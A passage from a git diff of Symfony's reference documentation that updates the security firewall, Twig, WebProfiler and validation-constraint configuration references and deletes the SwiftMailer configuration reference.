the ``$_SERVER`` parameter holding the user identifier. + .. _reference-security-firewall-context: Firewall Context ~~~~~~~~~~~~~~~~ -Most applications will only need one :ref:`firewall <security-firewalls>`. -But if your application *does* use multiple firewalls, you'll notice that +If your application uses multiple :ref:`firewalls <firewalls-authentication>`, you'll notice that if you're authenticated in one firewall, you're not automatically authenticated in another. In other words, the systems don't share a common "context": each firewall acts like a separate security system. @@ -674,7 +942,7 @@ multiple firewalls, the "context" could actually be shared: .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" charset="UTF-8" ?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:srv="http://symfony.com/schema/dic/services" @@ -696,18 +964,19 @@ multiple firewalls, the "context" could actually be shared: .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ - 'firewalls' => [ - 'somename' => [ - // ... - 'context' => 'my_context', - ], - 'othername' => [ - // ... - 'context' => 'my_context', - ], - ], - ]); + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->firewall('somename') + // ... + ->context('my_context') + ; + + $security->firewall('othername') + // ... + ->context('my_context') + ; + }; .. note:: @@ -716,6 +985,109 @@ multiple firewalls, the "context" could actually be shared: ignored and you won't be able to authenticate on multiple firewalls at the same time. +.. _reference-security-stateless: + +stateless +~~~~~~~~~ + +Firewalls can configure a ``stateless`` boolean option in order to declare that +the session must not be used when authenticating users: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + + firewalls: + main: + # ... + stateless: true + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main" stateless="true"> + <!-- ... --> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $mainFirewall = $security->firewall('main'); + $mainFirewall->stateless(true); + // ... + }; + +.. _reference-security-lazy: + +lazy +~~~~ + +Firewalls can configure a ``lazy`` boolean option to load the user and start the +session only if the application actually accesses the User object, (e.g. calling +``is_granted()`` in a template or ``isGranted()`` in a controller or service): + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + + firewalls: + main: + # ... + lazy: true + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main" lazy="true"> + <!-- ... --> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->firewall('main') + ->lazy(true); + // ... + }; + User Checkers ~~~~~~~~~~~~~ @@ -725,17 +1097,63 @@ a ``user_checker`` option to define the service used to perform those checks. Learn more about user checkers in :doc:`/security/user_checkers`. +Required Badges +~~~~~~~~~~~~~~~ + +Firewalls can configure a list of required badges that must be present on the authenticated passport: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + + firewalls: + main: + # ... + required_badges: ['CsrfTokenBadge', 'My\Badge'] + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main"> + <!-- ... --> + <required_badge>CsrfTokenBadge</required_badge> + <required_badge>My\Badge</required_badge> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $mainFirewall = $security->firewall('main'); + $mainFirewall->requiredBadges(['CsrfTokenBadge', 'My\Badge']); + // ... + }; + providers --------- -This options defines how the application users are loaded (from a database, -an LDAP server, a configuration file, etc.) Read the following articles to learn -more about each of those providers: - -* :ref:`Load users from a database <security-entity-user-provider>` -* :ref:`Load users from an LDAP server <security-ldap-user-provider>` -* :ref:`Load users from a configuration file <security-memory-user-provider>` -* :ref:`Create your own user provider <custom-user-provider>` +This option defines how the application users are loaded (from a database, +an LDAP server, a configuration file, etc.) Read +:doc:`/security/user_providers` to learn more about each of those +providers. role_hierarchy -------------- @@ -744,9 +1162,4 @@ Instead of associating many roles to users, this option allows you to define role inheritance rules by creating a role hierarchy, as explained in :ref:`security-role-hierarchy`. -.. _`PBKDF2`: https://en.wikipedia.org/wiki/PBKDF2 -.. _`libsodium`: https://pecl.php.net/package/libsodium .. _`Session Fixation`: https://owasp.org/www-community/attacks/Session_fixation -.. _`Argon2 key derivation function`: https://en.wikipedia.org/wiki/Argon2 -.. _`bcrypt password hashing function`: https://en.wikipedia.org/wiki/Bcrypt -.. _`cryptographic salt`: https://en.wikipedia.org/wiki/Salt_(cryptography) diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst deleted file mode 100644 index 674cee6ae53..00000000000 --- a/reference/configuration/swiftmailer.rst +++ /dev/null @@ -1,394 +0,0 @@ -.. index:: - single: Configuration reference; Swift Mailer - -Mailer Configuration Reference (SwiftmailerBundle) -================================================== - -The SwiftmailerBundle integrates the Swiftmailer library in Symfony applications -to :doc:`send emails </email>`. All these options are configured under the -``swiftmailer`` key in your application configuration. - -.. code-block:: terminal - - # displays the default config values defined by Symfony - $ php bin/console config:dump-reference swiftmailer - - # displays the actual config values used by your application - $ php bin/console debug:config swiftmailer - -.. note:: - - When using XML, you must use the ``http://symfony.com/schema/dic/swiftmailer`` - namespace and the related XSD schema is available at: - ``https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd`` - -Configuration -------------- - -.. rst-class:: list-config-options list-config-options--complex - -* `antiflood`_ - - * `sleep`_ - * `threshold`_ - -* `auth_mode`_ -* `command`_ -* `delivery_addresses`_ -* `delivery_whitelist`_ -* `disable_delivery`_ -* `encryption`_ -* `host`_ -* `local_domain`_ -* `logging`_ -* `password`_ -* `port`_ -* `sender_address`_ -* `source_ip`_ -* `spool`_ - - * `path`_ - * `type`_ - -* `timeout`_ -* `transport`_ -* `url`_ -* `username`_ - -url -~~~ - -**type**: ``string`` - -The entire SwiftMailer configuration using a DSN-like URL format. - -Example: ``smtp://user:pass@host:port/?timeout=60&encryption=ssl&auth_mode=login&...`` - -transport -~~~~~~~~~ - -**type**: ``string`` **default**: ``smtp`` - -The exact transport method to use to deliver emails. Valid values are: - -* smtp -* gmail (see :ref:`email-using-gmail`) -* mail (deprecated in SwiftMailer since version 5.4.5) -* sendmail -* null (same as setting `disable_delivery`_ to ``true``) - -username -~~~~~~~~ - -**type**: ``string`` - -The username when using ``smtp`` as the transport. - -password -~~~~~~~~ - -**type**: ``string`` - -The password when using ``smtp`` as the transport. - -command -~~~~~~~~ - -**type**: ``string`` **default**: ``/usr/sbin/sendmail -bs`` - -Command to be executed by ``sendmail`` transport. - -host -~~~~ - -**type**: ``string`` **default**: ``localhost`` - -The host to connect to when using ``smtp`` as the transport. - -port -~~~~ - -**type**: ``string`` **default**: 25 or 465 (depending on `encryption`_) - -The port when using ``smtp`` as the transport. This defaults to 465 if encryption -is ``ssl`` and 25 otherwise. - -timeout -~~~~~~~ - -**type**: ``integer`` - -The timeout in seconds when using ``smtp`` as the transport. - -source_ip -~~~~~~~~~ - -**type**: ``string`` - -The source IP address when using ``smtp`` as the transport. - -local_domain -~~~~~~~~~~~~ - -**type**: ``string`` - -.. versionadded:: 2.4.0 - - The ``local_domain`` option was introduced in SwiftMailerBundle 2.4.0. - -The domain name to use in ``HELO`` command. - -encryption -~~~~~~~~~~ - -**type**: ``string`` - -The encryption mode to use when using ``smtp`` as the transport. Valid values -are ``tls``, ``ssl``, or ``null`` (indicating no encryption). - -auth_mode -~~~~~~~~~ - -**type**: ``string`` - -The authentication mode to use when using ``smtp`` as the transport. Valid -values are ``plain``, ``login``, ``cram-md5``, or ``null``. - -spool -~~~~~ - -For details on email spooling, see :doc:`/mailer`. - -type -.... - -**type**: ``string`` **default**: ``file`` - -The method used to store spooled messages. Valid values are ``memory`` and -``file``. A custom spool should be possible by creating a service called -``swiftmailer.spool.myspool`` and setting this value to ``myspool``. - -path -.... - -**type**: ``string`` **default**: ``%kernel.cache_dir%/swiftmailer/spool`` - -When using the ``file`` spool, this is the path where the spooled messages -will be stored. - -sender_address -~~~~~~~~~~~~~~ - -**type**: ``string`` - -If set, all messages will be delivered with this address as the "return -path" address, which is where bounced messages should go. This is handled -internally by Swift Mailer's ``Swift_Plugins_ImpersonatePlugin`` class. - -antiflood -~~~~~~~~~ - -threshold -......... - -**type**: ``integer`` **default**: ``99`` - -Used with ``Swift_Plugins_AntiFloodPlugin``. This is the number of emails -to send before restarting the transport. - -sleep -..... - -**type**: ``integer`` **default**: ``0`` - -Used with ``Swift_Plugins_AntiFloodPlugin``. This is the number of seconds -to sleep for during a transport restart. - -.. _delivery-address: - -delivery_addresses -~~~~~~~~~~~~~~~~~~ - -**type**: ``array`` - -.. note:: - - In previous versions, this option was called ``delivery_address``. - -If set, all email messages will be sent to these addresses instead of being sent -to their actual recipients. This is often useful when developing. For example, -by setting this in the ``config/packages/dev/swiftmailer.yaml`` file, you can -guarantee that all emails sent during development go to one or more some -specific accounts. - -This uses ``Swift_Plugins_RedirectingPlugin``. Original recipients are available -on the ``X-Swift-To``, ``X-Swift-Cc`` and ``X-Swift-Bcc`` headers. - -delivery_whitelist -~~~~~~~~~~~~~~~~~~ - -**type**: ``array`` - -Used in combination with ``delivery_address`` or ``delivery_addresses``. If set, emails matching any -of these patterns will be delivered like normal, as well as being sent to -``delivery_address`` or ``delivery_addresses``. For details, see the -:ref:`How to Work with Emails during Development <sending-to-a-specified-address-but-with-exceptions>` -article. - -disable_delivery -~~~~~~~~~~~~~~~~ - -**type**: ``boolean`` **default**: ``false`` - -If true, the ``transport`` will automatically be set to ``null`` and no -emails will actually be delivered. - -logging -~~~~~~~ - -**type**: ``boolean`` **default**: ``%kernel.debug%`` - -If true, Symfony's data collector will be activated for Swift Mailer and -the information will be available in the profiler. - -.. tip:: - - The following options can be set via environment variables: ``url``, - ``transport``, ``username``, ``password``, ``host``, ``port``, ``timeout``, - ``source_ip``, ``local_domain``, ``encryption``, ``auth_mode``. For details, - see: :ref:`config-env-vars`. - -Using Multiple Mailers ----------------------- - -You can configure multiple mailers by grouping them under the ``mailers`` -key (the default mailer is identified by the ``default_mailer`` option): - -.. configuration-block:: - - .. code-block:: yaml - - swiftmailer: - default_mailer: second_mailer - mailers: - first_mailer: - # ... - second_mailer: - # ... - - .. code-block:: xml - - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/swiftmailer - https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd"> - - <swiftmailer:config default-mailer="second_mailer"> - <swiftmailer:mailer name="first_mailer"/> - <swiftmailer:mailer name="second_mailer"/> - </swiftmailer:config> - </container> - - .. code-block:: php - - $container->loadFromExtension('swiftmailer', [ - 'default_mailer' => 'second_mailer', - 'mailers' => [ - 'first_mailer' => [ - // ... - ], - 'second_mailer' => [ - // ... - ], - ], - ]); - -Each mailer is registered automatically as a service with these IDs:: - - // ... - - // returns the first mailer - $container->get('swiftmailer.mailer.first_mailer'); - - // also returns the second mailer since it is the default mailer - $container->get('swiftmailer.mailer'); - - // returns the second mailer - $container->get('swiftmailer.mailer.second_mailer'); - -.. caution:: - - When configuring multiple mailers, options must be placed under the - appropriate mailer key of the configuration instead of directly under the - ``swiftmailer`` key. - -When using :ref:`autowiring <services-autowire>` only the default mailer is -injected when type-hinting some argument with the ``\Swift_Mailer`` class. If -you need to inject a different mailer in some service, use any of these -alternatives based on the :ref:`service binding <services-binding>` feature: - -.. configuration-block:: - - .. code-block:: yaml - - # config/services.yaml - services: - _defaults: - bind: - # this injects the second mailer when type-hinting constructor arguments with \Swift_Mailer - \Swift_Mailer: '@swiftmailer.mailer.second_mailer' - # this injects the second mailer when a service constructor argument is called $specialMailer - $specialMailer: '@swiftmailer.mailer.second_mailer' - - App\Some\Service: - # this injects the second mailer only for this argument of this service - $differentMailer: '@swiftmailer.mailer.second_mailer' - - # ... - - .. code-block:: xml - - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> - - <services> - <defaults autowire="true" autoconfigure="true" public="false"> - <!-- this injects the second mailer when type-hinting constructor arguments with \Swift_Mailer --> - <bind key="\Swift_Mailer">@swiftmailer.mailer.second_mailer</bind> - <!-- this injects the second mailer when a service constructor argument is called $specialMailer --> - <bind key="$specialMailer">@swiftmailer.mailer.second_mailer</bind> - </defaults> - - <service id="App\Some\Service"> - <!-- this injects the second mailer only for this argument of this service --> - <argument key="$differentMailer">@swiftmailer.mailer.second_mailer</argument> - </service> - - <!-- ... --> - </services> - </container> - - .. code-block:: php - - // config/services.php - use App\Some\Service; - use Psr\Log\LoggerInterface; - - - $container->register(Service::class) - ->setPublic(true) - ->setBindings([ - // this injects the second mailer when this service type-hints constructor arguments with \Swift_Mailer - \Swift_Mailer::class => '@swiftmailer.mailer.second_mailer', - // this injects the second mailer when this service has a constructor argument called $specialMailer - '$specialMailer' => '@swiftmailer.mailer.second_mailer', - ]) - ; diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst index e00d7f63958..360309fef8f 100644 --- a/reference/configuration/twig.rst +++ b/reference/configuration/twig.rst @@ -1,6 +1,3 @@ -.. index:: - pair: Twig; Configuration reference - Twig Configuration Reference (TwigBundle) ========================================= @@ -22,38 +19,6 @@ under the ``twig`` key in your application configuration. namespace and the related XSD schema is available at: ``https://symfony.com/schema/dic/twig/twig-1.0.xsd`` -Configuration -------------- - -.. rst-class:: list-config-options list-config-options--complex - -* `auto_reload`_ -* `autoescape`_ -* `autoescape_service`_ -* `autoescape_service_method`_ -* `base_template_class`_ -* `cache`_ -* `charset`_ -* `date`_ - - * `format`_ - * `interval_format`_ - * `timezone`_ - -* `debug`_ -* `default_path`_ -* `form_themes`_ -* `globals`_ -* `number_format`_ - - * `decimals`_ - * `decimal_point`_ - * `thousands_separator`_ - -* `optimizations`_ -* `paths`_ -* `strict_variables`_ - auto_reload ~~~~~~~~~~~ @@ -65,41 +30,15 @@ compiled again automatically. .. _config-twig-autoescape: -autoescape -~~~~~~~~~~ - -**type**: ``boolean`` or ``string`` **default**: ``'name'`` - -If set to ``false``, automatic escaping is disabled (you can still escape each content -individually in the templates). - -.. caution:: - - Setting this option to ``false`` is dangerous and it will make your - application vulnerable to `XSS attacks`_ because most third-party bundles - assume that auto-escaping is enabled and they don't escape contents - themselves. - -If set to a string, the template contents are escaped using the strategy with -that name. Allowed values are ``html``, ``js``, ``css``, ``url``, ``html_attr`` -and ``name``. The default value is ``name``. This strategy escapes contents -according to the template name extension (e.g. it uses ``html`` for ``*.html.twig`` -templates and ``js`` for ``*.js.twig`` templates). - -.. tip:: - - See `autoescape_service`_ and `autoescape_service_method`_ to define your - own escaping strategy. - autoescape_service ~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``null`` -As of Twig 1.17, the escaping strategy applied by default to the template is -determined during compilation time based on the filename of the template. This -means for example that the contents of a ``*.html.twig`` template are escaped -for HTML and the contents of ``*.js.twig`` are escaped for JavaScript. +The escaping strategy applied by default to the template (to prevent :ref:`XSS attacks <xss-attacks>`) +is determined during compilation time based on the filename of the template. This means for example +that the contents of a ``*.html.twig`` template are escaped for HTML and the +contents of ``*.js.twig`` are escaped for JavaScript. This option allows to define the Symfony service which will be used to determine the default escaping applied to the template. @@ -112,10 +51,17 @@ autoescape_service_method If ``autoescape_service`` option is defined, then this option defines the method called to determine the default escaping applied to the template. +If the service defined in ``autoescape_service`` is invocable (i.e. it defines +the `__invoke() PHP magic method`_) you can omit this option. + base_template_class ~~~~~~~~~~~~~~~~~~~ -**type**: ``string`` **default**: ``'Twig\Template'`` +**type**: ``string`` **default**: ``Twig\Template`` + +.. deprecated:: 7.1 + + The ``base_template_class`` option is deprecated since Symfony 7.1. Twig templates are compiled into PHP classes before using them to render contents. This option defines the base class from which all the template classes @@ -125,21 +71,32 @@ application harder to maintain. cache ~~~~~ -**type**: ``string`` | ``false`` **default**: ``'%kernel.cache_dir%/twig'`` +**type**: ``string`` | ``boolean`` **default**: ``true`` Before using the Twig templates to render some contents, they are compiled into regular PHP code. Compilation is a costly process, so the result is cached in the directory defined by this configuration option. +You can either specify a custom path where the cache should be stored (as a +string) or use ``true`` to let Symfony decide the default path. When set to +``true``, the cache is stored in ``%kernel.cache_dir%/twig`` by default. However, +if ``auto_reload`` is disabled and ``%kernel.build_dir%`` differs from +``%kernel.cache_dir%``, the cache will be stored in ``%kernel.build_dir%/twig`` instead. + Set this option to ``false`` to disable Twig template compilation. However, this -is not recommended; not even in the ``dev`` environment, because the -``auto_reload`` option ensures that cached templates which have changed get -compiled again. +is not recommended, not even in the ``dev`` environment, because the ``auto_reload`` +option ensures that cached templates which have changed get compiled again. + +.. versionadded:: 7.3 + + Support for using ``true`` as a value was introduced in Symfony 7.3. It also + became the default value for this option, replacing the explicit path + ``%kernel.cache_dir%/twig``. charset ~~~~~~~ -**type**: ``string`` **default**: ``'%kernel.charset%'`` +**type**: ``string`` **default**: ``%kernel.charset%`` The charset used by the template files. By default it's the same as the value of the :ref:`kernel.charset container parameter <configuration-kernel-charset>`, @@ -158,7 +115,7 @@ format **type**: ``string`` **default**: ``F j, Y H:i`` The format used by the ``date`` filter to display values when no specific format -is passed as argument. +is passed as an argument. interval_format ............... @@ -174,7 +131,7 @@ timezone **type**: ``string`` **default**: (the value returned by ``date_default_timezone_get()``) The timezone used when formatting date values with the ``date`` filter and no -specific timezone is passed as argument. +specific timezone is passed as an argument. debug ~~~~~ @@ -184,17 +141,80 @@ debug If ``true``, the compiled templates include a ``__toString()`` method that can be used to display their nodes. +This option also controls the behavior of :ref:`the Twig dump utilities <twig-dump-utilities>`. +If this option is ``false``, the ``dump()`` function doesn't output any contents. + .. _config-twig-default-path: default_path ~~~~~~~~~~~~ -**type**: ``string`` **default**: ``'%kernel.project_dir%/templates'`` +**type**: ``string`` **default**: ``%kernel.project_dir%/templates`` The path to the directory where Symfony will look for the application Twig templates by default. If you store the templates in more than one directory, use the :ref:`paths <config-twig-paths>` option too. +.. _config-twig-file-name-pattern: + +file_name_pattern +~~~~~~~~~~~~~~~~~ + +**type**: ``string`` or ``array`` of ``string`` **default**: ``[]`` + +Some applications store their front-end assets in the same directory as Twig +templates. The ``lint:twig`` command filters those files to only lint the ones +that match the ``*.twig`` filename pattern. + +However, the ``cache:warmup`` command tries to compile all files, including +non-Twig templates (and it ignores compilation errors). The result is an +unnecessary consumption of CPU and disk resources. + +In those cases, use this option to define the filename pattern(s) of the files +that are Twig templates (the rest of files will be ignored by ``cache:warmup``). +The value of this option can be a regular expression, a glob, or a string: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/twig.yaml + twig: + file_name_pattern: ['*.twig', 'specific_file.html'] + # ... + + .. code-block:: xml + + <!-- config/packages/twig.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:twig="http://symfony.com/schema/dic/twig" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/twig https://symfony.com/schema/dic/twig/twig-1.0.xsd"> + + <twig:config> + <twig:file-name-pattern>*.twig</twig:file-name-pattern> + <twig:file-name-pattern>specific_file.html</twig:file-name-pattern> + <!-- ... --> + </twig:config> + </container> + + .. code-block:: php + + // config/packages/twig.php + use Symfony\Config\TwigConfig; + + return static function (TwigConfig $twig): void { + $twig->fileNamePattern([ + '*.twig', + 'specific_file.html', + ]); + + // ... + }; + .. _config-twig-form-themes: form_themes @@ -211,7 +231,7 @@ all the forms of the application: # config/packages/twig.yaml twig: - form_themes: ['bootstrap_4_layout.html.twig', 'form/my_theme.html.twig'] + form_themes: ['bootstrap_5_layout.html.twig', 'form/my_theme.html.twig'] # ... .. code-block:: xml @@ -226,7 +246,7 @@ all the forms of the application: http://symfony.com/schema/dic/twig https://symfony.com/schema/dic/twig/twig-1.0.xsd"> <twig:config> - <twig:form-theme>bootstrap_4_layout.html.twig</twig:form-theme> + <twig:form-theme>bootstrap_5_layout.html.twig</twig:form-theme> <twig:form-theme>form/my_theme.html.twig</twig:form-theme> <!-- ... --> </twig:config> @@ -235,13 +255,16 @@ all the forms of the application: .. code-block:: php // config/packages/twig.php - $container->loadFromExtension('twig', [ - 'form_themes' => [ - 'bootstrap_4_layout.html.twig', + use Symfony\Config\TwigConfig; + + return static function (TwigConfig $twig): void { + $twig->formThemes([ + 'bootstrap_5_layout.html.twig', 'form/my_theme.html.twig', - ], + ]); + // ... - ]); + }; The order in which themes are defined is important because each theme overrides all the previous one. When rendering a form field whose block is not defined in @@ -257,7 +280,22 @@ globals **type**: ``array`` **default**: ``[]`` It defines the global variables injected automatically into all Twig templates. -Learn more about :doc:`Twig global variables </templating/global_variables>`. +Learn more about :ref:`Twig global variables <templating-global-variables>`. + +mailer +~~~~~~ + +.. _config-twig-html-to-text-converter: + +html_to_text_converter +...................... + +**type**: ``string`` **default**: ``null`` + +The service implementing +:class:`Symfony\\Component\\Mime\\HtmlToTextConverter\\HtmlToTextConverterInterface` +that will be used to automatically create the text part of an email from its +HTML contents when not explicitly defined. number_format ~~~~~~~~~~~~~ @@ -294,7 +332,7 @@ no specific character is passed as argument to the ``number_format`` filter. optimizations ~~~~~~~~~~~~~ -**type**: ``int`` **default**: ``-1`` +**type**: ``integer`` **default**: ``-1`` Twig includes an extension called ``optimizer`` which is enabled by default in Symfony applications. This extension analyzes the templates to optimize them @@ -348,24 +386,27 @@ the directory defined in the :ref:`default_path option <config-twig-default-path .. code-block:: php // config/packages/twig.php - $container->loadFromExtension('twig', [ + use Symfony\Config\TwigConfig; + + return static function (TwigConfig $twig): void { // ... - 'paths' => [ - 'email/default/templates' => null, - 'backend/templates' => 'admin', - ], - ]); + + $twig->path('email/default/templates', null); + $twig->path('backend/templates', 'admin'); + }; Read more about :ref:`template directories and namespaces <templates-namespaces>`. +.. _config-twig-strict-variables: + strict_variables ~~~~~~~~~~~~~~~~ -**type**: ``boolean`` **default**: ``false`` +**type**: ``boolean`` **default**: ``%kernel.debug%`` If set to ``true``, Symfony shows an exception whenever a Twig variable, attribute or method doesn't exist. If set to ``false`` these errors are ignored and the non-existing values are replaced by ``null``. -.. _`the optimizer extension`: https://twig.symfony.com/doc/2.x/api.html#optimizer-extension -.. _`XSS attacks`: https://en.wikipedia.org/wiki/Cross-site_scripting +.. _`the optimizer extension`: https://twig.symfony.com/doc/3.x/api.html#optimizer-extension +.. _`__invoke() PHP magic method`: https://www.php.net/manual/en/language.oop5.magic.php#object.invoke diff --git a/reference/configuration/web_profiler.rst b/reference/configuration/web_profiler.rst index 83f92e215a5..c3b57d37c55 100644 --- a/reference/configuration/web_profiler.rst +++ b/reference/configuration/web_profiler.rst @@ -1,6 +1,3 @@ -.. index:: - single: Configuration reference; WebProfiler - Profiler Configuration Reference (WebProfilerBundle) ==================================================== @@ -23,23 +20,14 @@ under the ``web_profiler`` key in your application configuration. namespace and the related XSD schema is available at: ``https://symfony.com/schema/dic/webprofiler/webprofiler-1.0.xsd`` -.. caution:: +.. warning:: The web debug toolbar is not available for responses of type ``StreamedResponse``. -Configuration -------------- - -.. rst-class:: list-config-options - -* `excluded_ajax_paths`_ -* `intercept_redirects`_ -* `toolbar`_ - excluded_ajax_paths ~~~~~~~~~~~~~~~~~~~ -**type**: ``string`` **default**: ``'^/((index|app(_[\w]+)?)\.php/)?_wdt'`` +**type**: ``string`` **default**: ``^/((index|app(_[\w]+)?)\.php/)?_wdt`` When the toolbar logs AJAX requests, it matches their URLs against this regular expression. If the URL matches, the request is not displayed in the toolbar. This @@ -65,8 +53,21 @@ on the given link to perform the redirect. toolbar ~~~~~~~ +enabled +....... **type**: ``boolean`` **default**: ``false`` It enables and disables the toolbar entirely. Usually you set this to ``true`` in the ``dev`` and ``test`` environments and to ``false`` in the ``prod`` environment. + +ajax_replace +............ +**type**: ``boolean`` **default**: ``false`` + +If you set this option to ``true``, the toolbar is replaced on AJAX requests. +This only works in combination with an enabled toolbar. + +.. versionadded:: 7.3 + + The ``ajax_replace`` configuration option was introduced in Symfony 7.3. diff --git a/reference/constraints.rst b/reference/constraints.rst index 56acb087114..bb506bf4576 100644 --- a/reference/constraints.rst +++ b/reference/constraints.rst @@ -1,82 +1,6 @@ Validation Constraints Reference ================================ -.. toctree:: - :maxdepth: 1 - :hidden: - - constraints/NotBlank - constraints/Blank - constraints/NotNull - constraints/IsNull - constraints/IsTrue - constraints/IsFalse - constraints/Type - - constraints/Email - constraints/ExpressionLanguageSyntax - constraints/Length - constraints/Url - constraints/Regex - constraints/Hostname - constraints/Ip - constraints/Uuid - constraints/Ulid - constraints/Json - - constraints/EqualTo - constraints/NotEqualTo - constraints/IdenticalTo - constraints/NotIdenticalTo - constraints/LessThan - constraints/LessThanOrEqual - constraints/GreaterThan - constraints/GreaterThanOrEqual - constraints/Range - constraints/DivisibleBy - constraints/Unique - - constraints/Positive - constraints/PositiveOrZero - constraints/Negative - constraints/NegativeOrZero - - constraints/Date - constraints/DateTime - constraints/Time - constraints/Timezone - - constraints/Choice - constraints/Collection - constraints/Count - constraints/UniqueEntity - constraints/Language - constraints/Locale - constraints/Country - - constraints/File - constraints/Image - - constraints/CardScheme - constraints/Currency - constraints/Luhn - constraints/Iban - constraints/Bic - constraints/Isbn - constraints/Issn - constraints/Isin - - constraints/AtLeastOneOf - constraints/Sequentially - constraints/Compound - constraints/Callback - constraints/Expression - constraints/All - constraints/UserPassword - constraints/NotCompromisedPassword - constraints/Valid - constraints/Traverse - The Validator is designed to validate objects against *constraints*. In real life, a constraint could be: "The cake must not be burned". In Symfony, constraints are similar: They are assertions that a condition is diff --git a/reference/constraints/All.rst b/reference/constraints/All.rst index 1577a07ec4d..43ff4d6ac9d 100644 --- a/reference/constraints/All.rst +++ b/reference/constraints/All.rst @@ -6,9 +6,6 @@ you to apply a collection of constraints to each element of the array. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `constraints`_ - - `groups`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\All` Validator :class:`Symfony\\Component\\Validator\\Constraints\\AllValidator` ========== =================================================================== @@ -21,7 +18,7 @@ entry in that array: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/User.php namespace App\Entity; @@ -30,13 +27,11 @@ entry in that array: class User { - /** - * @Assert\All({ - * @Assert\NotBlank, - * @Assert\Length(min=5) - * }) - */ - protected $favoriteColors = []; + #[Assert\All([ + new Assert\NotBlank, + new Assert\Length(min: 5), + ])] + protected array $favoriteColors = []; } .. code-block:: yaml @@ -82,14 +77,14 @@ entry in that array: class User { - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('favoriteColors', new Assert\All([ - 'constraints' => [ + $metadata->addPropertyConstraint('favoriteColors', new Assert\All( + constraints: [ new Assert\NotBlank(), - new Assert\Length(['min' => 5]), + new Assert\Length(min: 5), ], - ])); + )); } } @@ -102,7 +97,7 @@ Options ``constraints`` ~~~~~~~~~~~~~~~ -**type**: ``array`` [:ref:`default option <validation-default-option>`] +**type**: ``array`` This required option is the array of validation constraints that you want to apply to each element of the underlying array. diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst index 6a48c44a4fd..fecbe617f5a 100644 --- a/reference/constraints/AtLeastOneOf.rst +++ b/reference/constraints/AtLeastOneOf.rst @@ -4,18 +4,8 @@ AtLeastOneOf This constraint checks that the value satisfies at least one of the given constraints. The validation stops as soon as one constraint is satisfied. -.. versionadded:: 5.1 - - The ``AtLeastOneOf`` constraint was introduced in Symfony 5.1. - ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `constraints`_ - - `includeInternalMessages`_ - - `message`_ - - `messageCollection`_ - - `groups`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\AtLeastOneOf` Validator 